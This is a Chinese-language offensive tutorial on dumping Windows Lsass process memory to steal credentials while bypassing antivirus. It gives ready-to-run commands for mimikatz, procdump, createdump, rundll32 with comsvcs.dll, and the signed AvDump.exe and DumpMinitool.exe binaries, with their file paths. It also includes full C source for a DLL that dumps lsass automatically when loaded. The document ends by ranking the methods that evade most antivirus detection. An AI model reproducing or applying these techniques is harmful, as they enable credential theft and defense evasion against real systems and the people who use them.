dumphash bypass杀软的多种方式
字数 921 2025-08-29 08:32:19
绕过杀软进行Lsass进程Dump的多种方法
前言
在Windows渗透测试中,获取用户凭证信息是至关重要的一步。当目标机器没有杀毒软件时,只要有足够权限,可以自由读取Lsass进程;但当存在杀毒软件时,需要使用特殊技巧绕过检测。
直接方法
Mimikatz直接读取
privilege::debug
sekurlsa::logonpasswords
问题:几乎所有杀毒软件都会拦截此操作,必须对mimikatz进行免杀处理。
离线解析方法
更倾向于使用白名单程序进行离线dump,然后解析密码。
白名单程序方法
1. Procdump.exe
微软签名程序,但大部分AV厂商仍会查杀
procdump.exe -ma lsass.exe 1.txt
2. SQLDumper.exe
同样拥有微软签名,但效果与Procdump类似
3. Createdump.exe
.NET 5引入的native binary,有签名但仍被查杀
createdump.exe -u -f lsass.dmp lsass[PID]
4. Rundll32 + comsvcs.dll
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id Desktop\lsass-comsvcs.dmp full
问题:同样会被查杀
有效白名单方法
1. AvDump.exe
Avast杀毒软件自带程序,带有Avast数字签名
AvDump.exe --pid 980 --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file lsass.dmp
路径:C:\Program Files\Avast Software\Avast
2. DumpMinitool.exe
Visual Studio 2022中的工具
DumpMinitool.exe --file 1.txt --processId 980 --dumpType Full
路径:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\Extensions\TestPlatform\Extensions
其他技术
SilentProcessExit机制
利用静默退出机制派生werfault.exe进程进行dump
问题:需要修改注册表,会被查杀
自定义DLL方法
编写自定义DLL进行dump,杀软无感
代码实现
#include <stdio.h>
#include <Windows.h>
#include <tlhelp32.h>
typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);
int GetLsassPid() {
PROCESSENTRY32 entry;
entry.dwSize = sizeof(PROCESSENTRY32);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (Process32First(hSnapshot, &entry)) {
while (Process32Next(hSnapshot, &entry)) {
if (wcscmp(entry.szExeFile, L"lsass.exe") == 0) {
return entry.th32ProcessID;
}
}
}
CloseHandle(hSnapshot);
return 0;
}
void GetDebugPrivilege() {
BOOL fOk = FALSE;
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = true ? SE_PRIVILEGE_ENABLED : 0;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
}
void DumpLsass() {
wchar_t ws[100];
_MiniDumpW MiniDumpW;
MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
swprintf(ws, 100, L"%u %hs", GetLsassPid(), "c:\\windows\\temp\\temp.bin full");
GetDebugPrivilege();
MiniDumpW(0, 0, ws);
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
DumpLsass();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
实现步骤
- 获取Debug权限
- 找到lsass的PID
- 使用MiniDump或MiniDumpWriteDump进行内存dump
总结
最有效的方法包括:
- 使用Avast的AvDump.exe
- 使用VS2022的DumpMinitool.exe
- 编写自定义DLL利用comsvcs.dll的MiniDump功能
这些方法都能绕过大多数杀毒软件的检测,成功dump lsass进程内存。